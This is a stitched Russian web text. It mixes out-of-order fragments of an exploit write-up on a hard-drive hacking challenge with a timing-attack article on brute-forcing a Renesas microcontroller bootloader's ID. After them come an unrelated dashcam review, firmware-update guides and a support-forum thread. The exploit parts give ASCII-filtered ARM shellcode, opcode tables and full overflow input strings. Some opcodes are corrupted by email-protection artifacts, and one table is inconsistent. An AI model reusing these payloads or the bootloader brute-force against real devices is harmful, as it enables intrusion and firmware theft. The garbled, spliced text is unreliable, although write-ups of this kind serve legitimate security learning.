Первое, что мне сразу бросилось в глаза — строка 18. Как мы помним из предыдущей статьи, это часть Function Prologue. Но, количество памяти, которое мы выделяем для стека огромное — аж целых 0х90 байт. Если бы эта функция имела много аргументов и дохрена переменных внутри, это бы хоть как-то оправдало на столько огромную цифру. Это, друзья, наш «первый звоночек».
На строках 138-140 мы видим то же самое уменьшение стека, и прыжок на адрес, который был залинкован перед входом в функцию generate_key. Количество байт, на которое мы уменьшаем стек — 0xA0. Это на 16 байт больше того количества, на которое мы увеличивали стек сразу после входа в функцию.
На предыдущем уровне, мы имели ровно такую же разницу. В общем, этот кусок говорит нам о том, что здесь мы эксплуатируем ровно такую-же уязвимость, как и на предыдущем уровне — buffer overflow. Но, заставить программу отдать ключи нам придется другим, более изощренным способом.
На строке 24 мы видим, что адрес нашей функции printf грузится в регистр R3. Пока что не понятно, для каких целей мы это делаем, но это, уж поверьте, стоит держать в голове 🙂
Строки 30-36. Здесь у нас нету отличий от предыдущего уровня — все, что мы здесь делаем это копируем наши вводимые данные на стек, и продолжаем исполнение программы когда столкнемся с символом новой строки.
Строки 40-41. Опа! А здесь мы видим две замечательные инструкции. На строке 40 мы отнимаем 0x0D от последнего вводимого символа — новой строки (тот же 0x0D). Получаем ноль. И, на строке 41, мы сохраняем этот ноль на стек в качестве последнего символа нашего ввода.
Ну, вот и все. В остальном, программа почти идентична той, что мы имели на LEVEL2. Конечно, есть парочка непохожих вещей, но они выходят за рамки процесса взлома этого уровня.
Первый
<code>1. STR R3, [R7] = 0x3B 0x60 = ";`" 2. LDR R5, [R7] = 0x3D 0x68 = "=h" 3. BX R5 = 0x28 0x47 = "(G"</code>
Сохраняем адрес pfintf в память, куда указывает R7
Подгружаем адрес printf из памяти в R5
Триггерим printf
Вау! Все опкоды пройдут фильтр. Помним, что мы начинаем исполнять наш код начиная с третьего символа. Первый символ — обязательно будет «R», второй — не важно какой. Конвертируем hex значения опкодов в ASCII, вводим что-то рандомное (соблюдаем наше количество в 163 символа), и в конце пишем адрес третьего символа на стеке — туда и вернется исполнение программы. Верхний байт адреса возврата 0x00 возьмется с символа новой строки.
<code>F3 T>R!;`=h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! {, WRITE_READ_VERIFY_ENABLED LED:000000EE FAddr:002C7BB4 LED:000000EE FAddr:002C7BB4 LED:000000EE FAddr:002C7BB4</code>
В этот момент у меня прям реально пошли мурашки по коже! Мы получили что-то помимо ошибок. Это значит только одно — мы успешно триггернули printf. И, судя по тому, что в процессе программы, мы, как минимум прогоняем код по одному из ключей (скорее всего по первому), он должен лежать в R0. Ladies &
Gentleman, мы видим первый ключ! По поводу ошибок FAddr я писал в предыдущей статье, но здесь повторюсь — поскольку мы абьюзим адрес возврата, после выполнения printf процессор начинает исполнять неизвестный нам код. Он натыкается на невалидный код операции, и показывает адрес, где он с ним столкнулся. После такого — только ребут жесткого диска по питанию.
Первый блин — граблями
Ха! Подумал я… Сейчас я быстренько наклепаю программку к имевшейся у меня STM32VLDiscovery c STM32F100 на борту, которая будет отправлять код и измерять время отклика, а в терминал выплевывать результаты измерений. Т.к. макетная плата с целевым контроллером до этого подключалась к ПК через переходник USB-UART, то, дабы ничего не менять на макетке, работать будем в асинхронном режиме.
Когда при старте загрузчика вход CLK1 притянут к земле, он понимает, что от него хотят асинхронного общения. Собственно потому я его и использовал — подтяжка была уже припаяна и я просто соединил проводами две платы: Discovery и макетку с целевым M306.
Заметка по согласованию уровней:
Т.к. M16 имеет TTL-уровни на выводах, а STM32 — LVTTL (упрощенно, в даташите подробнее), то необходимо согласование уровней. Т.к. это не устройство, которое, как известная батарейка, должно работать, работать и работать, а по сути подключается разок на столе, то с трансляторами уровней я не заморачивался: выходные уровни от STM32 пятивольтовый МК переварил, в смысле 3 вольта как «1» воспринимает, выходы от М16 подаем на 5V tolerant входы STM32 дабы ему не поплохело, а ногу, которая дергает RESET M16 не забываем перевести в режим выхода с открытым стоком. Я вот забыл, и это еще 2ч в копилку упущенного времени.Этого минимума достаточно, чтобы железки друг друга поняли.
Логика атакующего ПО следующая:
- Устанавливаем соединение с контроллером. Для этого необходимо дождаться, пока завершится сброс, затем передать 16 нулевых символов с интервалом более, чем 20 мс. Это для того, чтобы отработал алгоритм автоопределения скорости обмена, т.к. интерфейс асинхронный, а МК о своей частоте ничего не знает. Стартовая скорость передатчика должна быть 9600 бод, именно на эту скорость рассчитывает загрузчик. После этого при желании можно запросить другую скорость обмена из пяти доступных в диапазоне 9600-115200 (правда в моем случае на 115200 загрузчик работать отказался). Мне скорость менять не нужно, поэтому я для контроля синхронизации просто запрашивал версию загрузчика. Передаем FBh, загрузчик отвечает строкой вроде «VER.1.01».
- Отправляем команду «unlock», которая содержит текущую итерацию ключа, и замеряем время до снятия флага занятости.
Команда состоит из кода F5h, трех байт адреса, где начинается область идентификатора (в моем случае, для ядра M16C, это 0FFFDFh), длина (07h), и сам идентификатор. - Измеряем время между передачей последнего бита идентификатора и снятием флага занятости.
- Увеличиваем перебираемый байт ключа (KEY1 на начальном этапе), возвращаемся к шагу 2 до тех пор, пока не переберем все 255 значений текущего байта.
- Сбрасываем статистику на терминал (ну или выполняем анализ «на борту»).
Для общения с целевым МК я использовал USART в STM32, для измерения времени — таймер в режиме Input Capture. Единственное, для простоты я измерял время не между последним битом ключа и снятием флага, а между началом передачи и флагом. Причиной было то, что последний бит может меняться, а в асинхронном режиме прицепить вход захвата особо не к чему. В то же время UART аппаратный и время передачи в принципе идентично и ощутимых погрешностей набегать не должно.
В итоге, для всех значений результаты были идентичны. Полностью идентичны. Тактовая частота таймера у меня была 24Мгц, соответственно разрешение по времени — 41,6 нс. Ну ок, попробовал замедлить целевой МК. Ничего не поменялось. Здесь в голове родился вопрос: что я делаю не так, как это делал q3k?
После сравнения разница нашлась: он использует синхронный интерфейс обмена (SPI), а я асинхронный (UART). И где-то вот здесь я обратил внимание на тот момент, который упустил вначале. Даже на схемах подключения для синхронного и асинхронного режимов загрузчика вывод готовности назван по-разному:
В синхронном это «BUSY», в асинхронном это «Monitor». Смотрим в таблицу «Функции выводов в режиме Standart Serial I/O»:
«Семён Семёныч…»
Упущенная вначале мелочь завела не туда. Собственно, если в синхронном режиме это именно флаг занятости загрузчика, то в асинхронном (тот, который serial I/O mode 2) — просто «мигалка» для индикации работы. Возможно вообще аппаратный сигнал готовности приемопередатчика, оттого и удивительная точность его поднятия.
В общем перепаиваем резистор на выводе SCLK с земли на VCC, припаиваем туда провод, цепляем все это к SPI и начинаем сначала…
Пишем
Теперь нам прийдется, довольно таки сильно, напрячь мозг. Самое важное, что должен уметь наш шеллкод — это триггерить printf. Без этого, мы не получим ни единого ключа. Как мы помним, в начале программы на строке 24, мы записывали адрес printf в R3, и этот регистр ни разу не менялся в процессе исполнения.
Мы уже пытались использовать инструкцию BX R3 — она не проходит ASCII фильтр. Но, мы можем попробовать переместить адрес из R3 в какой-то другой регистр и сделать Branch на него. Давайте глянем что такое MOV R5, R3 и BX R5 в виде опкодов. Детально расписывать что и как получаем я не буду. Надеюсь, с keystone все разобрались. Упрощу все до максимума:
<code>MOV R5, R3 = 0x46 0x1D = "F " BX R5 = 0x28 0x47 = "(G"</code>
Блин, первая инструкция, как и все другие MOV, не пройдут фильтр. Хм, давайте подумаем. Может мы сможем сохранить содержимое R3 куда-то в память, а потом восстановим его в R5? Ведь, BX R5 прошла фильтр. Судя по программе, R7 указывает на таблицу целостности ключей — то есть, в этом регистре хранится адрес памяти, куда мы, наверное, можем писать. К черту таблицу целостности — когда мы пишем шеллкод, у нас полная свобода!
Сложность
Ребятушки, наконец! После довольно длительного перерыва ко мне, в конце концов, пришло вдохновение написать последнюю, финальную и завершающую часть этого чертовски долгого цикла о взломе диска от RedBalloonSecurity. В этой части вас ждет самое сложное из имеющихся заданий.
Сразу хочется сказать, что прочтение моей предыдущей статьи обязательно! Она расписана до мелочей. Текущая публикация пишется с учетом того, что вы прочли и поняли предыдущую.
Тестим шеллкод
Чтобы что-то протестировать, нужно это сначала написать. Здесь нам и нужен keystone assembler о котором шла речь на LEVEL2. Это не простой компилятор. Кроме самого компилятора он предоставляет несколько С-шных библиотек. Мы можем написать ассемблерную инструкцию, передать ее как текстовый параметр в keyston-овскую функцию, и получить 2х, или 4х (Thumb или ARM) байтовый код операции (опкод).
Третий
Для третьего ключа, делаем похожее:
<code>1. STR R3, [R7] = 0x3B 0x60 = ";`" 2. LDR R5, [R7] = 0x3D 0x68 = "=h" 3. LDR R1, [R4, #4] = 0x61 0x68 = "ah" 4. EORS R1, R0 = 0x41 0x40 = "[email protected]" 5. LDR R2, [R4, #8] = 0xA2 0x68 = "¢h" 6. EORS R2, R1 = 0x4A 0x40 = "[email protected]" 7. STR R2, [R7] = 0x3a 0x60 = ":`" 8. LDR R0, [R7] = 0x38 0x68 = "8h" 9. BX R5 = 0x28 0x47 = "(G"</code>
Опа! Инструкция на строке 5 не пройдет фильтр из-за символа «¢». Он хоть и имеет текстовое представление, но не входит в рамки ASCII. Если я введу его в консоль, мне моментально отобразится сообщение, мол, символ не верный, и покажет чистую строку приглашения:
<code>F3 T> Input_Command_Error F3 T></code>
Инструкция LDR R2, [R4, #8] делает оффсет от R4 на 8 байт, лезет по адресу в память, и сохраняет содержимое в R2. Хм, мы можем хитро выкрутиться, и прибавить к адресу в R4 4 байта, а потом лезть в память с таким же оффсетом как и для первого ключа (инструкция на строке 3 проходит ASCII фильтр как с R1, так и с R2).
<code>ADDS R4, #4 = 0x04 0x34 = " 4"</code>
Черт побери, из-за 0х04 мы не сможем использовать подобное. Включаем максимальную хитрость! Может прибавить 44, а потом отнять 40?
<code>ADDS R4, #44 = 0x2c 0x34 = ",4" SUBS R4, #40 = 0x28 0x3c = "(<"</code>
Вау! Должно сработать. Делаем парочку изменений:
<code>01. STR R3, [R7] = 0x3B 0x60 = ";`" 02. LDR R5, [R7] = 0x3D 0x68 = "=h" 03. LDR R1, [R4, #4] = 0x61 0x68 = "ah" 04. EORS R1, R0 = 0x41 0x40 = "[email protected]" 05. ADDS R4, #44 = 0x2c 0x34 = ",4" 06. SUBS R4, #40 = 0x28 0x3c = "(<" 07. LDR R2, [R4, #4] = 0xA2 0x68 = "bh" 08. EORS R2, R1 = 0x4A 0x40 = "[email protected]" 09. STR R2, [R7] = 0x3a 0x60 = ":`" 10.LDR R0, [R7] = 0x38 0x68 = "8h" 11. BX R5 = 0x28 0x47 = "(G"</code>
<code>F3 T>R!;`[email protected],4(<[email protected]:`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! {, TraceBufferControlFlags1_37 LED:000000EE FAddr:002C7BB4 LED:000000EE FAddr:002C7BB4</code>
Ну ничего себе! У нас получилось. Это наш третий ключик!
Успех!
В синхронном режиме все почти так же, только не требуется никакой предварительной процедуры установки соединения, упрощается синхронизация и захват времени можно выполнить точнее. Если бы сразу выбрал этот режим сохранил бы время… Я снова не стал усложнять и измерять время именно от последнего бита, а запускал таймер перед началом передачи последнего байта ключа, т.е. включаем таймер и отправляем в передатчик KEY7 (на скриншоте выше, из логического анализатора, видно расстояние между курсорами. Это и есть отсчитываемый отрезок времени).
Этого оказалось более чем достаточно для успешной идентификации. Вот так выглядит перебор одного байта:
По оси абсцисс у нас количество дискрет счетчика, по оси ординат, соответственно, передаваемое значение ключа. Отношение сигнал/шум такое, что даже никаких фильтров не требуется, прямо как в школе на уроке информатики: находим максимум в массиве и переходим в подбору следующего байта.
Первые 6 байт подбираются легко и быстро, чуть сложнее с последним: там просто наглый перебор не проходит, нужен сброс «жертвы» перед каждой попыткой. В итоге на каждую попытку уходит что-то около 400 мс, и перебор идет в худшем случае в районе полутора минут.
Но это в худшем. После каждой попытки запрашиваем статус и, как только угадали, останавливаемся. Я вначале вообще просто быстренько ручками перебрал идентификатор, вставляя в excel вывод консоли и строя график, тем более, что это была разовая задача, но уже для статьи решил дописать автоматический перебор, ради красивой консольки…
Конечно, если бы разработчик затер загрузчик (заменил своим), так просто выкрутиться не получилось бы, но в автомобильной электронике частенько МК вообще не закрыты. В частности в блоке управления с другого отопителя, в котором был установлен V850 того же Renesas все решилось подпайкой пары проводов и копированием прошивки штатной утилитой.
Ссылки:
Четвертый
Идем по тому же пути:
<code>01. STR R3, [R7] = 0x3B 0x60 = ";`" 02. LDR R5, [R7] = 0x3D 0x68 = "=h" 03. LDR R1, [R4, #4] = 0x61 0x68 = "ah" 04. EORS R1, R0 = 0x41 0x40 = "[email protected]" 05. ADDS R4, #44 = 0x2c 0x34 = ",4" 06. SUBS R4, #40 = 0x28 0x3c = "(<" 07. LDR R2, [R4, #4] = 0xA2 0x68 = "bh" 08. EORS R2, R1 = 0x4A 0x40 = "[email protected]" 09. ADDS R4, #44 = 0x30 0x34 = ",4" 10. SUBS R4, #40 = 0x28 0x3c = "(<" 11. LDR R3, [R4, #4] = 0x63 0x68 = "ch" 12. EORS R3, R2 = 0x53 0x40 = "[email protected]" 09. STR R3, [R7] = 0x3b 0x60 = ";`" 10. LDR R0, [R7] = 0x38 0x68 = "8h" 11. BX R5 = 0x28 0x47 = "(G"</code>
Вводим:
<code>F3 T>R!;`[email protected],4(<[email protected],4(<[email protected];`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! {, ${SORRY_HABR_DONT_WANT_TO_LEAK_KEY} LED:000000EE FAddr:002C7BB4 LED:000000EE FAddr:002C7BB4</code>
Ну вот и все. Мы сгенерировали все ключи! Совместив их в 1 строку я получил пароль к архиву. Когда пытался его ввести в 7z, я почему-то получил ошибку. Но, потыкав порядок ключей при совмещении строки, я все же добился желаемого. У нас 4 ключа, то есть — 16 возможных комбинаций. Такое брутфорсится в ручном режиме.
Эпилог
Есть еще одна вещь, которая выходила за рамки этих публикаций, но которая стоит внимания. На разделах диска было куча исследований от ребят из RedBalloonSecurity — pdf-ки и видосы с конференций. Как по мне, это отличный способ для кандидатов узнать чем занимается компания, и частью какого мира предстоит быть претенденту. Это очень круто!
Друзья, этот диск по правде занял очень теплое место в истории моей жизни. И я был чертовски рад поделиться этой историей с вами. Это был невероятно долгий путь. Как в процессе взлома, так и в процессе переноса моих мыслей и воспоминаний в виде этой серии публикаций.
Хочу снова упомянуть пользователя @raven19. Статья блещет грамматикой благодаря ему.
Обзор Fujida Zoom Smart S WiFi. Высокотехнологичный видеорегистратор с GPS-информатором
В центре внимания сегодня будет гибридный видеорегистратор Fujida Zoom Smart S WiFi с ГЛОНАСС/GPS модулем, а также возможностью управления и обновления прошивки, используя смартфон с бесплатным приложением. Установленные в нем процессор Novatek 96675 и матрица Sony IMX307 Star Night обеспечивают детализированную съемку 1296p со скоростью 30 кадров в секунду.
Приобрести его можно в фирменной розничной сети производителя, а также маркетплейсах и магазинах.
Комплектация
В комплекте покупатель получает зарядное устройство в прикуриватель, клипсы для фиксации кабеля, лопатку, два вида креплений на лобовое стекло, картридер, руководство пользователя и гарантийный талон. CPL-фильтр изначально установлен на объектив.
Собрано все в коробке из плотного картона со стильным минималистичным оформлением, данными по производителю и ключевым техническим характеристикам.
Внешний вид
Владелец сможет выбрать между двумя вариантами крепления на лобовом стекле, это вакуумная присоска с прижимной ножкой и площадка с двухсторонним скотчем.
Присоску оптимально использовать в первые дни эксплуатации при выборе постоянного места установки или если речь идет про арендные автомобили. Площадка с двухсторонним скотчем в условиях российского климата будет надежнее.
Оба варианта используют быстросъемный магнитный замок и оба поддерживают скрытый подвод питающего кабеля. Они поворотные, можно менять угол и направление съемки.
Длина кабеля у зарядного устройства в комплекте Fujida Zoom Smart S WiFi позволит проложить его под обшивкой и дополнительно зафиксировать при помощи пластиковых клипс с двухсторонним скотчем.
Само устройство выполнено в компактном корпусе. На этой грани также находится объектив, состоящий из группы стеклянных линз. Угол обзора 170 градусов по диагонали. Также напомним, что на объектив установлен CPL-фильтр, решающий эффективно проблему бликов.
Сторону водителя занимает 3-дюймовый цветной дисплей. Выводимая на него информация читаема в ночное и дневное время под разными углами наклона.
Управляется видеорегистратор при помощи механических кнопок, распределенных по боковым граням. Взаимодействие с интерфейсом интуитивное, есть быстрый доступ к часто используемым командам.
Запись ведется на карту памяти формата microSD. Мы тесты вели с накопителем объемом 128 Гбайт. С учетом разрешения Quad HD, рекомендуем обратить внимание на скоростные показатели выбираемой карты памяти.
Настройки
Меню настроек у Fujida Zoom Smart S WiFi полностью локализовано для русскоязычных пользователей. Ведется управление системными настройками видеосъемки с выбором разрешения, длительности циклов.
Включаются и выключаются технология распознавания знаков, G-сенсор, задержка включения, датчик движения.
Выводится спидометр и часы. Проводится форматирование карты памяти. Меняется вручную экспозиция.
Штамп записи и гос.номер. Запись звука и системные звуки.
Фильтр скорости и допустимое превышение. Режим работы. Голосовые оповещения.
Предупреждения по необходимости снижения скорости, лимит максимальной скорости, контроль автобусной полосы и другие типы стационарных комплексов.
Софт
Fujida Zoom Smart S WiFi сопровождается бесплатным приложением для iOS и Android смартфонов. При каждом подключении идет проверка актуальности версии программного обеспечения и базы данных. При появлении обновлений они будут установлены автоматически без необходимости съема видеорегистратора со стекла или переноса карты памяти в ноутбук. Удобно и быстро.
Также с помощью приложения можно провести настройку параметров съемки и проверить свободный объем на карте памяти.
Просмотреть потоковое изображение с камеры.
Вывести список файлов. Выбранные воспроизвести, удалить или перенести в память телефона.
Ai — function
В Fujida Zoom Smart S WiFi присутствует искусственный интеллект, который умеет автоматически определять знаки с ограничениями скорости на дороге и предупреждать водителя о них как голосовыми уведомлениями, так и отображением дорожного знака на дисплее.
GPS база камер
GPS-информатор заранее предупреждает о местах контроля скорости, пересечения стоп-линий, контроля выделенной полосы, расчёта средней скорости и других камерах контроля ПДД. Информация выводится как на дисплее, так и в виде голосовых подсказок.
Тесты
Отметим высокую детализацию снимаемых роликов. Максимальное разрешение съемки – Super HD (2304х1296 пикселей). Поддерживает WDR. Номерные знаки читаемы у него на большом расстоянии. Оценить примеры ночной и дневной съемкиможно ниже.
Дневная запись Fujida Zoom Smart S WiFi
Ночная запись Fujida Zoom Smart S WiFi
Итоги
Fujida Zoom Smart S WiFi – высокотехнологичный видеорегистратор с GPS-информатором. Высокопроизводительный процессор NT96675, матрица Sony IMX 307, CPL-фильтр, WDR, простое и удобное обновление базы и прошивки, детальные настройки, распознавание знаков на дороге, быстросъемное магнитное крепление с двумя вариантами исполнения, 2-летняя гарантия.
Fujida Zoom Smart S WiFi получает заслуженную награду «Золото. Выбор редакции MegaObzor.com».
Как обновить прошивку видеорегистратора Thinkware?
Выпущены обновления прошивки для улучшения функций наших видеорегистраторов . Обновления прошивки могут расширить возможности видеорегистратора или исправить текущие проблемы.
Обновления прошивки часто используются для устранения неполадок, если возникает проблема с видеорегистратором. При обновлении или повторной загрузке прошивки текущая прошивка видеорегистратора стирается и заменяется.
Эти обновления потенциально могут добавить новые функции видеорегистратору. Например, обновление, выпущенное для Q800PRO от 30 апреля 2019 г. В этом обновлении добавлена облачная функция для удаленного просмотра в реальном времени только в непрерывном режиме.
Чтобы загрузить микропрограмму для видеорегистратора, посетите веб-сайт Thinkware Support Downloads .
У нас есть три способа обновить прошивку видеорегистратора. Все методы описаны ниже:
Обновление микропрограммы с помощью карты Micro SD (ОС Windows)
- Найдите полноразмерный адаптер для SD-карты, входящий в оригинальную коробку.
- Вставьте SD-карту в адаптер, а затем в компьютер.
- Найдите SD-карту в разделе «Мой компьютер» Проводника.
- Отформатируйте SD, щелкнув имя правой кнопкой мыши и выбрав «Форматировать», а затем «Пуск».
- Откройте веб-браузер, перейдите на сайт Thinkware.com и выберите «Поддержка» > «Загрузки».
- Выберите модель видеорегистратора
- Загрузите файл прошивки
- Найдите файл прошивки в разделе «Загрузки» на вашем ПК.
- Дважды щелкните, чтобы открыть ZIP-файл и скопировать все содержимое.
- Вставьте содержимое на отформатированную SD-карту.
- После копирования щелкните правой кнопкой мыши имя SD-карты и выберите « Извлечь ».
Теперь вы можете удалить SD с вашего компьютера.
- Теперь, когда файл прошивки находится на MicroSD, нам нужно загрузить его на видеорегистратор. Вставьте SD в видеорегистратор и включите его.
После включения видеорегистратора вы услышите «Обновление начнется». Это может занять несколько минут. Убедитесь, что видеорегистратор остается включенным на время обновления. Как только вы услышите «Обновление завершено, начнется непрерывная запись», вы можете безопасно отключить питание или регулярно использовать видеорегистратор.
Обновление микропрограммы с помощью карты Micro SD (MacOS)
- Найдите полноразмерный адаптер SD-карты, входящий в комплект поставки.
- Вставьте SD-карту в адаптер, а затем в свой Mac.
- Откройте Дисковую утилиту и найдите SD-карту. Выберите «Стереть», чтобы отформатировать SD-карту. (Необязательный шаг).
- Откройте веб-браузер, перейдите на сайт Thinkware.com и выберите «Поддержка» > «Загрузки».
- Выберите свою модель видеорегистратора ниже.
- Загрузите файл прошивки.
- Используйте поиск Spotlight, чтобы найти программу DiskUtility. Найдите название карты MicroSD на левой боковой панели. Выберите «Стереть» в верхней части экрана, чтобы начать форматирование.
- Найдите ZIP-файл прошивки в разделе «Загрузки» вашего Mac.
- Дважды щелкните, чтобы открыть ZIP-файл прошивки, затем скопируйте все файлы внутри.
- Вставьте файлы на отформатированную карту MicroSD. Щелкните правой кнопкой мыши имя карты MicroSD и выберите « Eject ». Теперь вы можете удалить SD с вашего компьютера.
- Теперь, когда файл прошивки находится на MicroSD, его необходимо загрузить на видеорегистратор. Вставьте SD в видеорегистратор и включите его.
Когда видеорегистратор включится, вы услышите «Обновление начнется». Это может занять несколько минут. Убедитесь, что видеорегистратор остается включенным на время обновления. Как только вы услышите «Обновление завершено, начнется непрерывная запись», вы можете безопасно отключить питание или регулярно использовать видеорегистратор.
Обновление через PC Viewer
- Чтобы загрузить программное обеспечение для просмотра на ПК, сначала перейдите на сайт Thinkware.com, затем выберите «Поддержка» > «Загрузки».
- Выберите PC Viewer и вашу операционную систему для загрузки.
- Найдите файл Windows PC Viewer.exe в папке загрузок. Дважды щелкните, чтобы открыть. Выберите « Да », когда появится всплывающее окно «Вы хотите разрешить этой программе вносить изменения в ваш компьютер».
- Выберите предпочитаемый язык и нажмите OK.
- Выберите «Установить»
- После установки выберите «Готово».
- Найдите полноразмерный адаптер SD-карты в оригинальной упаковке.
- Вставьте SD-карту в адаптер, а затем в компьютер.
- Откройте программу просмотра ПК. Если доступно обновление, вы увидите это всплывающее сообщение.
Выберите « Да »
- Подождите, пока всплывающее сообщение не завершит загрузку и установку обновления на карту MicroSD. Программа просмотра ПК откроется после этого сообщения.
- Щелкните правой кнопкой мыши имя SD-карты в разделе « My PC » и выберите « Eject ». Теперь вы можете удалить SD с вашего компьютера.
Файл прошивки был загружен на карту MicroSD, однако нам все еще нужно загрузить его на видеорегистратор. Пожалуйста, вставьте MicroSD в видеорегистратор и включите его.
Когда видеорегистратор включится, вы услышите «Обновление начнется». Это может занять несколько минут. Убедитесь, что видеорегистратор остается включенным на время обновления. Как только вы услышите «Обновление завершено, начнется непрерывная запись», вы можете безопасно отключить питание или регулярно использовать видеорегистратор.
P Примечание об аренде Если во время этого процесса произойдет отключение питания, это может привести к необратимому повреждению видеорегистратора.
Обновление микропрограммы через мобильное приложение
- Откройте App Store (Apple App Store или Google Play Store) и загрузите приложение Thinkware Cloud.
- После загрузки подключитесь к видеорегистратору через точку доступа. При подключении к точке доступа устанавливается подключение к Интернету для загрузки и загрузки обновления прошивки.
- Нажмите колокольчик в правом верхнем углу, чтобы проверить наличие обновлений. На звонке будет красная буква «N», уведомляющая о наличии доступного обновления.
- Нажмите кнопку загрузки справа.
- Дождитесь загрузки файла прошивки.
- После загрузки файл автоматически начнет загружаться на видеорегистратор. Убедитесь, что во время этого процесса отсутствует питание и соединение с точкой доступа.
Обратите внимание, если точка доступа или потеря питания, это может привести к необратимому повреждению видеорегистратора, что может привести к поломке устройства.
После того, как видеорегистратор перезапустится и вы услышите «Обновление завершено, теперь начнется непрерывная запись», вы можете безопасно отключить видеорегистратор от точки подключения и источника питания.
Как мы это сделали?
Какой пароль Wi-Fi по умолчанию для моего видеорегистратора Thinkware?
Как включить режим парковки с помощью адаптера прикуривателя для моей камеры Thinkware?
|Пожалуйста, включите JavaScript для просмотра a(href=»https://disqus.com/?ref_noscript», rel=»nofollow») комментарии на платформе Disqus.
Обновление прошивки
скачать приложениеРуководство по обновлению прошивки
Уважаемый пользователь!
Наша техническая команда выпустила обновленную прошивку, в которой исправлена ошибка совместимости. Пожалуйста, прочитайте и следуйте
руководства ниже тщательно.
Важно:
1
Если ваш видеорегистратор работает нормально, вам НЕ обновление прошивки.
Предупреждение. Ненужные обновления прошивки могут привести к необратимому повреждению камеры.
2
Если какой-либо ущерб вызван несоблюдением инструкций, гарантия будет аннулирована.
Скачать
Выберите свою модель
Видеорегистратор D1
Видеорегистратор D4
Подтвердите вашу версию
1
Найти Настройки в видеорегистраторе
2
Проведите вниз
3
Нажмите «О программе»
*Пожалуйста, убедитесь, что установленная вами версия применима, иначе это может привести к
неисправность.
Если у вас возникли проблемы с проверкой версии,
свяжитесь с [email protected] для
профессиональная поддержка.
GIF-изображение, на которое вы должны ссылаться
[[activeProduct]] Видеорегистратор
НазадДалее
Скачать прошивку
Пожалуйста, выберите правильную версию файла и нажмите на ссылку, чтобы загрузить его на свой компьютер.
[[item.title]]
Дата:[[item.date]]
Версия: [[item.version]]
Содержание:
[[item.desc]]
[[item. desc1 ]]
Обратная загрузка
Бедро, бедро, ура!
Спасибо за терпение.
Далее выполните приведенные ниже процедуры, чтобы обновить устройство.
Мы почти у цели!
НазадДалее
Как обновить
Чтобы обновить видеорегистратор, выполните следующие действия.
Шаг — 1 Отформатируйте карту памяти
Вставив карту в камеру, остановите запись и войдите в настройки, Выбрать для форматирования карты памяти. Затем подключите его к компьютеру с помощью USB-кабеля.
*Перед форматированием карты microSD не забудьте сделать резервную копию важных данных на другие ваши устройства.
Д4:
Д1:
Шаг 2 Скопируйте новую прошивку
Найдите прошивку на своем компьютере и распакуйте ее на локальном диске. Скопируйте файл в корневую папку карты памяти.
ПРИМЕЧАНИЕ. Вы не сможете открыть этот файл на своем ПК.
Шаг 3. Обновите программу.
Теперь снова вставьте карту памяти с файлом прошивки в видеорегистратор. Устройство начнет обновляться автоматически примерно через 2 минуты, чтобы завершить процесс обновления.
обновление. Во время обновления индикатор будет мигать.
Шаг 4. Отформатируйте SD-карту после обновления.
После установки обновления видеорегистратор перезапустится. Отформатируйте карту памяти еще раз, зайдя в интерфейс настроек.
В противном случае камера будет обновлять прошивку при каждом перезапуске камеры.
Как обновить
Чтобы обновить видеорегистратор, выполните следующие действия.
Шаг 1 Отформатируйте карту памяти
Вставив карту в камеру, остановите запись и войдите в настройки, выберите для форматирования ваша карта памяти. Затем подключите его к компьютеру с помощью USB-кабеля.
*Перед форматированием карты microSD не забудьте сделать резервную копию важных данных на другом
устройства.
Д4:
Д1:
Шаг 2. Скопируйте новую прошивку
Найдите прошивку на своем компьютере и распакуйте ее на локальный диск. Скопируйте файл в корень папку вашей карты памяти.
ПРИМЕЧАНИЕ. Вы не сможете открыть этот файл на своем ПК.
Шаг 3. Обновите программу.
Теперь снова вставьте карту памяти с файлом прошивки в видеорегистратор. Устройство начнет обновляться автоматически примерно через 2 минуты, чтобы завершить процесс обновления. Во время обновления индикатор будет мигать.
Шаг 4. Отформатируйте SD-карту после обновления.
После установки обновления видеорегистратор перезапустится. Обязательно отформатируйте память. карту еще раз, зайдя в интерфейс настройки.
В противном случае камера будет обновлять прошивку при каждом перезапуске камеры.
Большой палец вверх!
Теперь вы успешно обновили прошивку видеорегистратора KINGSLIM.
Говорил ли я вам, какая удивительная работа
искусства вы сделали?
Спасибо, что нашли время для завершения процесса. Ваш энтузиазм вдохновляет нас!
Если у вас есть какие-либо вопросы, пожалуйста, обращайтесь по адресу [email protected]
Большой палец вверх!
Теперь вы успешно обновили прошивку видеорегистратора KINGSLIM.
Говорил ли я вам, какое потрясающее произведение искусства вы создали? Спасибо, что нашли время в течение дня, чтобы завершить процесс. Ваш энтузиазм вдохновляет нас!
Если у вас есть какие-либо вопросы, пожалуйста, обращайтесь по адресу [email protected]
Назад
Проблемы с обновлением прошивки для видеорегистратора 2kDual — Вопросы и ответы
Сообщество ВАВАГлухойFLD
#1
Новичок в видеорегистраторах, пытался обновить свой новый двойной видеорегистратор 2k, но был озадачен, нужно ли мне разархивировать файл, прежде чем добавить его на SD-карту для видеорегистратора?
КомандаVAVA
#2
Привет @DeafFLD. Да, вам нужно будет разархивировать файл, прежде чем сохранять его на карту micro SD.
Если у вас есть дополнительные вопросы или проблемы, свяжитесь с нами по адресу [email protected]. Благодарю вас!
ГлухойFLD
#3
вообще не помогло пробовал 3 раза не смог даже сказать обновить вообще . открыл SD-карту, увидел папку для vava, добавил файл bin под нее, а не в папку vava. так что не уверен, что еще делать. Посоветуйте пожалуйста
КомандаVAVA
#4
Привет @DeafFLD. Вот пошаговый процесс обновления видеорегистратора:
Шаг 1: Выключите видеорегистратор VAVA.
